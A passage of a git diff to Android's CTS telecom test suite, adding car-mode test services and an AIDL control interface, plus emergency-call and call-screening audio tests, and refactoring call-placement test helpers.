+ <meta-data android:name="android.telecom.INCLUDE_EXTERNAL_CALLS"
+ android:value="true" />
+ <intent-filter>
+ <action android:name="android.telecom.InCallService"/>
+ </intent-filter>
+ </service>
+ <service android:name=".CtsCarModeInCallServiceControlTwo"
+ android:launchMode="singleInstance"
+ android:exported="true">
+ <intent-filter>
+ <action
+ android:name="android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL"/>
+ </intent-filter>
+ </service>
+ </application>
+</manifest>
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceControlTwo.java
similarity index 69%
copy from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
copy to tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceControlTwo.java
index 37276e2..cde8622 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceControlTwo.java
@@ -14,15 +14,9 @@
* limitations under the License.
*/
-package com.android.tests.atomicinstall.testapp;
+package android.telecom.cts.carmodetestapptwo;
-import android.app.Activity;
-import android.os.Bundle;
+import android.telecom.cts.carmodetestapp.CtsCarModeInCallServiceControl;
-public class MainActivity extends Activity {
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- }
+public class CtsCarModeInCallServiceControlTwo extends CtsCarModeInCallServiceControl {
}
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceTwo.java
similarity index 69%
copy from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
copy to tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceTwo.java
index 37276e2..27cd911 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/tests/tests/telecom/CarModeTestAppTwo/src/android/telecom/cts/carmodetestapptwo/CtsCarModeInCallServiceTwo.java
@@ -14,15 +14,9 @@
* limitations under the License.
*/
-package com.android.tests.atomicinstall.testapp;
+package android.telecom.cts.carmodetestapptwo;
-import android.app.Activity;
-import android.os.Bundle;
+import android.telecom.cts.carmodetestapp.CtsCarModeInCallService;
-public class MainActivity extends Activity {
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- }
+public class CtsCarModeInCallServiceTwo extends CtsCarModeInCallService {
}
diff --git a/tests/tests/telecom/OWNERS b/tests/tests/telecom/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telecom/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
similarity index 69%
copy from tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
copy to tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
index 37276e2..bf7b9a0 100644
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ b/tests/tests/telecom/aidl/android/telecom/cts/carmodetestapp/ICtsCarModeInCallServiceControl.aidl
@@ -14,15 +14,14 @@
* limitations under the License.
*/
-package com.android.tests.atomicinstall.testapp;
+package android.telecom.cts.carmodetestapp;
-import android.app.Activity;
-import android.os.Bundle;
-
-public class MainActivity extends Activity {
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- }
+interface ICtsCarModeInCallServiceControl {
+ boolean isBound();
+ boolean isUnbound();
+ void reset();
+ int getCallCount();
+ void enableCarMode(int priority);
+ void disableCarMode();
+ void disconnectCalls();
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
index 7991b7c..313651e 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BackgroundCallAudioTest.java
@@ -10,6 +10,7 @@
import android.media.AudioManager;
import android.os.Bundle;
import android.os.IBinder;
+import android.provider.CallLog;
import android.telecom.Call;
import android.telecom.Call.Details;
import android.telecom.CallScreeningService.CallResponse;
@@ -24,14 +25,22 @@
import android.text.TextUtils;
import android.util.Log;
-import java.util.concurrent.ConcurrentLinkedQueue;
-import java.util.concurrent.CountDownLatch;
+import androidx.test.InstrumentationRegistry;
+
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
public class BackgroundCallAudioTest extends BaseTelecomTestWithMockServices {
private static final String LOG_TAG = BackgroundCallAudioTest.class.getSimpleName();
+ private ServiceConnection mApiCompatControlServiceConnection;
+
+ // copied from AudioSystem.java -- defined here because that change isn't in AOSP yet.
+ private static final int MODE_CALL_SCREENING = 4;
+
+ // true if there's platform support for call screening in the audio stack.
+ private boolean doesAudioManagerSupportCallScreening = false;
+
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -44,6 +53,11 @@
AudioManager audioManager = mContext.getSystemService(AudioManager.class);
audioManager.adjustStreamVolume(AudioManager.STREAM_RING,
AudioManager.ADJUST_UNMUTE, 0);
+ // TODO: uncomment when call screening APIs in AudioManager come to AOSP
+ /*
+ doesAudioManagerSupportCallScreening =
+ audioManager.isCallScreeningModeSupported();
+ */
}
}
@@ -77,7 +91,9 @@
assertConnectionState(connection, Connection.STATE_ACTIVE);
AudioManager audioManager = mContext.getSystemService(AudioManager.class);
- assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
verifySimulateRingAndUserPickup(call, connection);
}
@@ -101,7 +117,9 @@
assertConnectionState(connection, Connection.STATE_ACTIVE);
AudioManager audioManager = mContext.getSystemService(AudioManager.class);
- assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
call.disconnect();
assertCallState(call, Call.STATE_DISCONNECTED);
@@ -127,7 +145,9 @@
assertConnectionState(connection, Connection.STATE_ACTIVE);
AudioManager audioManager = mContext.getSystemService(AudioManager.class);
- assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
verifySimulateRingAndUserMissed(call, connection);
}
@@ -151,7 +171,9 @@
assertConnectionState(connection, Connection.STATE_ACTIVE);
AudioManager audioManager = mContext.getSystemService(AudioManager.class);
- assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
call.exitBackgroundAudioProcessing(true);
assertCallState(call, Call.STATE_SIMULATED_RINGING);
@@ -166,6 +188,88 @@
connection.destroy();
}
+ public void testAudioProcessingFromCallScreeningAllowPlaceEmergencyCall() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+ setupIncomingCallWithCallScreening();
+
+ final MockConnection connection = verifyConnectionForIncomingCall();
+
+ if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ fail("No call added to InCallService.");
+ }
+
+ Call call = mInCallCallbacks.getService().getLastCall();
+ assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+ assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+ AudioManager audioManager = mContext.getSystemService(AudioManager.class);
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
+
+ call.exitBackgroundAudioProcessing(true);
+ assertCallState(call, Call.STATE_SIMULATED_RINGING);
+ waitOnAllHandlers(getInstrumentation());
+ assertEquals(AudioManager.MODE_RINGTONE, audioManager.getMode());
+ assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+ placeAndVerifyEmergencyCall(false /*supportsHold*/);
+ waitOnAllHandlers(getInstrumentation());
+ Call eCall = getInCallService().getLastCall();
+ assertCallState(eCall, Call.STATE_DIALING);
+ // Even though the connection was technically active, it is "simulated ringing", so
+ // disconnect as you would a normal ringing call in favor of an emergency call.
+ assertCallState(call, Call.STATE_DISCONNECTED);
+ assertConnectionState(connection, Connection.STATE_DISCONNECTED);
+ // Notify as missed instead of rejected, since the user did not explicitly reject.
+ verifyCallLogging(connection.getAddress(), CallLog.Calls.MISSED_TYPE);
+ }
+
+ public void testAudioProcessingFromIncomingActivePlaceEmergencyCall() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+ setupIncomingCallWithCallScreening();
+
+ final MockConnection connection = verifyConnectionForIncomingCall();
+
+ if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ fail("No call added to InCallService.");
+ }
+
+ Call call = mInCallCallbacks.getService().getLastCall();
+ assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+ assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+ AudioManager audioManager = mContext.getSystemService(AudioManager.class);
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
+
+ verifySimulateRingAndUserPickup(call, connection);
+ // Go back into audio processing for hold case
+ call.enterBackgroundAudioProcessing();
+ assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+ waitOnAllHandlers(getInstrumentation());
+
+ placeAndVerifyEmergencyCall(false /*supportsHold*/);
+ waitOnAllHandlers(getInstrumentation());
+ Call eCall = getInCallService().getLastCall();
+ assertCallState(eCall, Call.STATE_DIALING);
+ // Even though the connection was technically active, it is "simulated ringing", so
+ // disconnect as you would a normal ringing call in favor of an emergency call.
+ assertCallState(call, Call.STATE_DISCONNECTED);
+ assertConnectionState(connection, Connection.STATE_DISCONNECTED);
+ // Notify as incoming, since the user has already answered the call.
+ verifyCallLogging(connection.getAddress(), CallLog.Calls.INCOMING_TYPE);
+ }
+
public void testAudioProcessActiveCall() {
if (!mShouldTestTelecom) {
return;
@@ -179,7 +283,9 @@
waitOnAllHandlers(getInstrumentation());
AudioManager audioManager = mContext.getSystemService(AudioManager.class);
- assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
assertConnectionState(connection, Connection.STATE_ACTIVE);
verifySimulateRingAndUserPickup(call, connection);
@@ -199,7 +305,9 @@
waitOnAllHandlers(getInstrumentation());
AudioManager audioManager = mContext.getSystemService(AudioManager.class);
- assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
verifySimulateRingAndUserMissed(call, connection);
}
@@ -218,7 +326,9 @@
waitOnAllHandlers(getInstrumentation());
AudioManager audioManager = mContext.getSystemService(AudioManager.class);
- assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
connection.setDisconnected(new DisconnectCause(DisconnectCause.REMOTE));
assertCallState(call, Call.STATE_DISCONNECTED);
@@ -226,6 +336,38 @@
connection.destroy();
}
+ public void testAudioProcessOutgoingActiveEmergencyCallPlaced() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+
+ Connection connection = placeActiveOutgoingCall();
+ Call call = mInCallCallbacks.getService().getLastCall();
+
+ call.enterBackgroundAudioProcessing();
+ assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+ assertConnectionState(connection, Connection.STATE_ACTIVE);
+
+ waitOnAllHandlers(getInstrumentation());
+ AudioManager audioManager = mContext.getSystemService(AudioManager.class);
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
+
+ placeAndVerifyEmergencyCall(false /*supportsHold*/);
+ waitOnAllHandlers(getInstrumentation());
+ Call eCall = getInCallService().getLastCall();
+ // emergency call should be dialing
+ assertCallState(eCall, Call.STATE_DIALING);
+ // audio processing call should be disconnected
+ assertConnectionState(connection, Connection.STATE_DISCONNECTED);
+ assertCallState(call, Call.STATE_DISCONNECTED);
+ // If we went to AUDIO_PROCESSING from an active outgoing call, Make sure the call is
+ // marked outgoing, not missed.
+ verifyCallLogging(connection.getAddress(), CallLog.Calls.OUTGOING_TYPE);
+ }
+
public void testManualAudioCallScreenAccept() {
if (!mShouldTestTelecom) {
return;
@@ -243,7 +385,9 @@
waitOnAllHandlers(getInstrumentation());
AudioManager audioManager = mContext.getSystemService(AudioManager.class);
- assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
call.exitBackgroundAudioProcessing(false);
assertCallState(call, Call.STATE_ACTIVE);
@@ -268,7 +412,9 @@
waitOnAllHandlers(getInstrumentation());
AudioManager audioManager = mContext.getSystemService(AudioManager.class);
- assertEquals(0 /* TODO: put new mode here */, audioManager.getMode());
+ if (doesAudioManagerSupportCallScreening) {
+ assertEquals(MODE_CALL_SCREENING, audioManager.getMode());
+ }
call.disconnect();
assertCallState(call, Call.STATE_DISCONNECTED);
@@ -302,47 +448,90 @@
}
}
- public void testLowerApiLevelCompatibility() throws Exception {
+ public void testLowerApiLevelCompatibility1() throws Exception {
if (!mShouldTestTelecom) {
return;
}
- ICtsApi29InCallServiceControl controlInterface = setUpControl();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity("android.permission.CONTROL_INCALL_EXPERIENCE");
+ try {
+ ICtsApi29InCallServiceControl controlInterface = setUpControl();
- setupIncomingCallWithCallScreening();
+ setupIncomingCallWithCallScreening();
- final MockConnection connection = verifyConnectionForIncomingCall();
+ final MockConnection connection = verifyConnectionForIncomingCall();
- if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
- TimeUnit.SECONDS)) {
- fail("No call added to InCallService.");
+ if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ fail("No call added to InCallService.");
+ }
+
+ Call call = mInCallCallbacks.getService().getLastCall();
+ assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+ assertConnectionState(connection, Connection.STATE_ACTIVE);
+ // Make sure that the dummy app never got any calls
+ assertEquals(0, controlInterface.getHistoricalCallCount());
+
+ call.exitBackgroundAudioProcessing(true);
+ assertCallState(call, Call.STATE_SIMULATED_RINGING);
+ waitOnAllHandlers(getInstrumentation());
+ assertConnectionState(connection, Connection.STATE_ACTIVE);
+ // Make sure that the dummy app sees a ringing call.
+ assertEquals(Call.STATE_RINGING,
+ controlInterface.getCallState(call.getDetails().getTelecomCallId()));
+
+ call.answer(VideoProfile.STATE_AUDIO_ONLY);
+ assertCallState(call, Call.STATE_ACTIVE);
+ waitOnAllHandlers(getInstrumentation());
+ assertConnectionState(connection, Connection.STATE_ACTIVE);
+ // Make sure that the dummy app sees an active call.
+ assertEquals(Call.STATE_ACTIVE,
+ controlInterface.getCallState(call.getDetails().getTelecomCallId()));
+
+ tearDownControl();
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
}
+ }
- Call call = mInCallCallbacks.getService().getLastCall();
- assertCallState(call, Call.STATE_AUDIO_PROCESSING);
- assertConnectionState(connection, Connection.STATE_ACTIVE);
- // Make sure that the dummy app never got any calls
- assertEquals(0, controlInterface.getHistoricalCallCount());
+ public void testLowerApiLevelCompatibility2() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity("android.permission.CONTROL_INCALL_EXPERIENCE");
+ try {
+ ICtsApi29InCallServiceControl controlInterface = setUpControl();
- call.exitBackgroundAudioProcessing(true);
- assertCallState(call, Call.STATE_SIMULATED_RINGING);
- waitOnAllHandlers(getInstrumentation());
- assertConnectionState(connection, Connection.STATE_ACTIVE);
- // Make sure that the dummy app sees a ringing call.
- assertEquals(Call.STATE_RINGING,
- controlInterface.getCallState(call.getDetails().getTelecomCallId()));
+ setupIncomingCallWithCallScreening();
- call.answer(VideoProfile.STATE_AUDIO_ONLY);
- assertCallState(call, Call.STATE_ACTIVE);
- waitOnAllHandlers(getInstrumentation());
- assertConnectionState(connection, Connection.STATE_ACTIVE);
- // Make sure that the dummy app sees an active call.
- assertEquals(Call.STATE_ACTIVE,
- controlInterface.getCallState(call.getDetails().getTelecomCallId()));
+ final MockConnection connection = verifyConnectionForIncomingCall();
- TestUtils.executeShellCommand(getInstrumentation(),
- "telecom add-or-remove-call-companion-app " + CtsApi29InCallService.PACKAGE_NAME
- + " 0");
+ if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ fail("No call added to InCallService.");
+ }
+
+ Call call = mInCallCallbacks.getService().getLastCall();
+ assertCallState(call, Call.STATE_AUDIO_PROCESSING);
+ assertConnectionState(connection, Connection.STATE_ACTIVE);
+ // Make sure that the dummy app never got any calls
+ assertEquals(0, controlInterface.getHistoricalCallCount());
+
+ call.disconnect();
+ assertCallState(call, Call.STATE_DISCONNECTED);
+ waitOnAllHandlers(getInstrumentation());
+ assertConnectionState(connection, Connection.STATE_DISCONNECTED);
+ // Make sure that the dummy app never saw the call
+ assertEquals(0, controlInterface.getHistoricalCallCount());
+
+ tearDownControl();
+ } finally {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
}
private Connection placeActiveOutgoingCall() {
@@ -394,7 +583,7 @@
public void onScreenCall(Details callDetails) {
getService().respondToCall(callDetails, new CallResponse.Builder()
.setDisallowCall(false)
- .setShouldScreenCallFurther(true)
+ .setShouldScreenCallViaAudioProcessing(true)
.build());
lock.release();
}
@@ -426,7 +615,7 @@
bindIntent.setComponent(controlComponentName);
LinkedBlockingQueue<ICtsApi29InCallServiceControl> result = new LinkedBlockingQueue<>(1);
- boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+ mApiCompatControlServiceConnection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
Log.i(LOG_TAG, "Service Connected: " + name);
@@ -436,10 +625,22 @@
@Override
public void onServiceDisconnected(ComponentName name) {
}
- }, Context.BIND_AUTO_CREATE);
+ };
+
+ boolean success = mContext.bindService(bindIntent,
+ mApiCompatControlServiceConnection, Context.BIND_AUTO_CREATE);
+
if (!success) {
fail("Failed to get control interface -- bind error");
}
return result.poll(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
}
+
+ private void tearDownControl() throws Exception {
+ mContext.unbindService(mApiCompatControlServiceConnection);
+
+ TestUtils.executeShellCommand(getInstrumentation(),
+ "telecom add-or-remove-call-companion-app " + CtsApi29InCallService.PACKAGE_NAME
+ + " 0");
+ }
}
\ No newline at end of file
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 1eec051..7371b09 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -25,8 +25,10 @@
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertThat;
+import android.app.UiModeManager;
import android.content.Context;
import android.content.Intent;
+import android.content.res.Configuration;
import android.database.ContentObserver;
import android.database.Cursor;
import android.media.AudioManager;
@@ -74,7 +76,11 @@
public static final int FLAG_ENABLE = 0x2;
public static final int FLAG_SET_DEFAULT = 0x4;
- private static int sCounter = 5549999;
+ // Don't accidently use emergency number.
+ private static int sCounter = 5553638;
+
+ public static final String TEST_EMERGENCY_NUMBER = "5553637";
+ public static final Uri TEST_EMERGENCY_URI = Uri.fromParts("tel", TEST_EMERGENCY_NUMBER, null);
Context mContext;
TelecomManager mTelecomManager;
@@ -94,8 +100,10 @@
TestUtils.InvokeCounter mOnRttRequestCounter;
TestUtils.InvokeCounter mOnHandoverCompleteCounter;
TestUtils.InvokeCounter mOnHandoverFailedCounter;
+ TestUtils.InvokeCounter mOnPhoneAccountChangedCounter;
Bundle mPreviousExtras;
int mPreviousProperties = -1;
+ PhoneAccountHandle mPreviousPhoneAccountHandle = null;
InCallServiceCallbacks mInCallCallbacks;
String mPreviousDefaultDialer = null;
@@ -143,6 +151,10 @@
return;
}
+ // Assume we start in normal mode at the start of all Telecom tests; a failure to leave car
+ // mode in any of the tests would cause subsequent test failures.
+ assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
+
mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
mTelephonyManager = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
@@ -289,6 +301,7 @@
public void onCallAdded(Call call, int numCalls) {
Log.i(TAG, "onCallAdded, Call: " + call + ", Num Calls: " + numCalls);
this.lock.release();
+ mPreviousPhoneAccountHandle = call.getDetails().getAccountHandle();
}
@Override
public void onCallRemoved(Call call, int numCalls) {
@@ -323,6 +336,12 @@
" to " + Call.Details.propertiesToString(details.getCallProperties()));
}
mPreviousProperties = details.getCallProperties();
+
+ if (details.getAccountHandle() != null &&
+ !details.getAccountHandle().equals(mPreviousPhoneAccountHandle)) {
+ mOnPhoneAccountChangedCounter.invoke(call, details.getAccountHandle());
+ }
+ mPreviousPhoneAccountHandle = details.getAccountHandle();
}
@Override
public void onCallDestroyed(Call call) {
@@ -410,6 +429,41 @@
mOnRttRequestCounter = new TestUtils.InvokeCounter("mOnRttRequestCounter");
mOnHandoverCompleteCounter = new TestUtils.InvokeCounter("mOnHandoverCompleteCounter");
mOnHandoverFailedCounter = new TestUtils.InvokeCounter("mOnHandoverFailedCounter");
+ mOnPhoneAccountChangedCounter = new TestUtils.InvokeCounter(
+ "mOnPhoneAccountChangedCounter");
+ }
+
+ void addAndVerifyNewFailedIncomingCall(Uri incomingHandle, Bundle extras) {
+ assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
+ int currentCallCount = 0;
+ if (mInCallCallbacks.getService() != null) {
+ currentCallCount = mInCallCallbacks.getService().getCallCount();
+ }
+
+ if (extras == null) {
+ extras = new Bundle();
+ }
+ extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, incomingHandle);
+ mTelecomManager.addNewIncomingCall(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, extras);
+
+ try {
+ if (!connectionService.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ fail("Incoming Connection failure indication did not get called.");
+ }
+ } catch (InterruptedException e) {
+ fail("InterruptedException while waiting for incoming call failure");
+ }
+
+ assertEquals("ConnectionService did not receive failed connection",
+ 1, connectionService.failedConnections.size());
+
+ assertEquals("Address is not correct for failed connection",
+ connectionService.failedConnections.get(0).getAddress(), incomingHandle);
+
+ assertEquals("InCallService should contain the same number of calls.",
+ currentCallCount,
+ mInCallCallbacks.getService().getCallCount());
}
/**
@@ -455,9 +509,21 @@
* Puts Telecom in a state where there is an active call provided by the
* {@link CtsConnectionService} which can be tested.
*/
- void placeAndVerifyCall(boolean viaCallRedirection, boolean cancelledByCallRedirection) {
- placeAndVerifyCall(null, VideoProfile.STATE_AUDIO_ONLY, viaCallRedirection,
- cancelledByCallRedirection);
+ void placeAndVerifyCallByRedirection(boolean wasCancelled) {
+ int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
+ int currentConnections = getNumberOfConnections();
+ // We expect a new connection if it wasn't cancelled.
+ if (!wasCancelled) {
+ currentConnections++;
+ currentCallCount++;
+ }
+ placeAndVerifyCall(null, VideoProfile.STATE_AUDIO_ONLY, currentConnections,
+ currentCallCount);
+ // Ensure the new outgoing call broadcast fired for the outgoing call.
+ assertOutgoingCallBroadcastReceived(true);
+
+ // CTS test does not have read call log permission so should not get the phone number.
+ assertNull(NewOutgoingCallBroadcastReceiver.getReceivedNumber());
}
/**
@@ -483,21 +549,22 @@
* {@link CtsConnectionService} which can be tested.
*/
void placeAndVerifyCall(Bundle extras, int videoState) {
- placeAndVerifyCall(extras, videoState, false, false);
+ int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
+ // We expect placing the call adds a new call/connection.
+ placeAndVerifyCall(extras, videoState, getNumberOfConnections() + 1, currentCallCount + 1);
+ assertOutgoingCallBroadcastReceived(true);
+
+ // CTS test does not have read call log permission so should not get the phone number.
+ assertNull(NewOutgoingCallBroadcastReceiver.getReceivedNumber());
}
/**
* Puts Telecom in a state where there is an active call provided by the
* {@link CtsConnectionService} which can be tested.
*/
- void placeAndVerifyCall(Bundle extras, int videoState,
- boolean viaCallRedirectionService, boolean cancelledByCallRedirection) {
+ void placeAndVerifyCall(Bundle extras, int videoState, int expectedConnectionCount,
+ int expectedCallCount) {
assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
- int currentCallCount = 0;
- if (mInCallCallbacks.getService() != null) {
- currentCallCount = mInCallCallbacks.getService().getCallCount();
- }
- int currentConnectionCount = getNumberOfConnections();
placeNewCallWithPhoneAccount(extras, videoState);
try {
@@ -509,8 +576,12 @@
Log.i(TAG, "Test interrupted!");
}
- assertEquals("InCallService should contain 1 more call after adding a call.",
- currentCallCount + 1,
+ // Make sure any procedures to disconnect existing calls (makeRoomForOutgoingCall)
+ // complete successfully
+ TestUtils.waitOnLocalMainLooper(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+
+ assertEquals("InCallService should match the expected count.", expectedCallCount,
mInCallCallbacks.getService().getCallCount());
// The connectionService.lock is released in
@@ -520,28 +591,43 @@
// be seen by calls to ConnectionService#getAllConnections().
// We will wait here until the list of connections includes one more connection to ensure
// that placing the call has fully completed.
- // If the call is canceled by call redirection service, do not expect the count increment.
- final int expectedConnectionCount = cancelledByCallRedirection ?
- currentConnectionCount : currentConnectionCount + 1;
assertCSConnections(expectedConnectionCount);
+ }
- // If the call redirection service is being used, allow some waiting before the new
- // outgoing call broadcast is received.
- if (viaCallRedirectionService) {
- // Ensure the new outgoing call broadcast fired for the outgoing call.
- assertOutgoingCallBroadcastReceived(true);
- } else {
- assertTrue(NewOutgoingCallBroadcastReceiver.isNewOutgoingCallBroadcastReceived());
- }
-
- // CTS test does not have read call log permission so should not get the phone number.
- assertNull(NewOutgoingCallBroadcastReceiver.getReceivedNumber());
+ /**
+ * Place an emergency call and verify that it has been setup properly.
+ *
+ * @param supportsHold If telecom supports holding emergency calls, this will expect two
+ * calls. If telecom does not support holding emergency calls, this will expect only the
+ * emergency call to be active.
+ * @return The emergency connection
+ */
+ public Connection placeAndVerifyEmergencyCall(boolean supportsHold) {
+ Bundle extras = new Bundle();
+ extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_EMERGENCY_URI);
+ int currentConnectionCount = supportsHold ?
+ getNumberOfConnections() + 1 : getNumberOfConnections();
+ int currentCallCount = (getInCallService() == null) ? 0 : getInCallService().getCallCount();
+ currentCallCount = supportsHold ? currentCallCount + 1 : currentCallCount;
+ // The device only supports a max of two calls active at any one time
+ currentCallCount = Math.min(currentCallCount, 2);
+ placeAndVerifyCall(extras, VideoProfile.STATE_AUDIO_ONLY, currentConnectionCount,
+ currentCallCount);
+ assertOutgoingCallBroadcastReceived(true);
+ Connection connection = verifyConnectionForOutgoingCall(TEST_EMERGENCY_URI);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ return connection;
}
int getNumberOfConnections() {
return CtsConnectionService.getAllConnectionsFromTelecom().size();
}
+ Connection getConnection(Uri address) {
+ return CtsConnectionService.getAllConnectionsFromTelecom().stream()
+ .filter(c -> c.getAddress().equals(address)).findFirst().orElse(null);
+ }
+
MockConnection verifyConnectionForOutgoingCall() {
// Assuming only 1 connection present
return verifyConnectionForOutgoingCall(0);
@@ -563,6 +649,29 @@
return connection;
}
+ MockConnection verifyConnectionForOutgoingCall(Uri address) {
+ try {
+ if (!connectionService.lock.tryAcquire(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
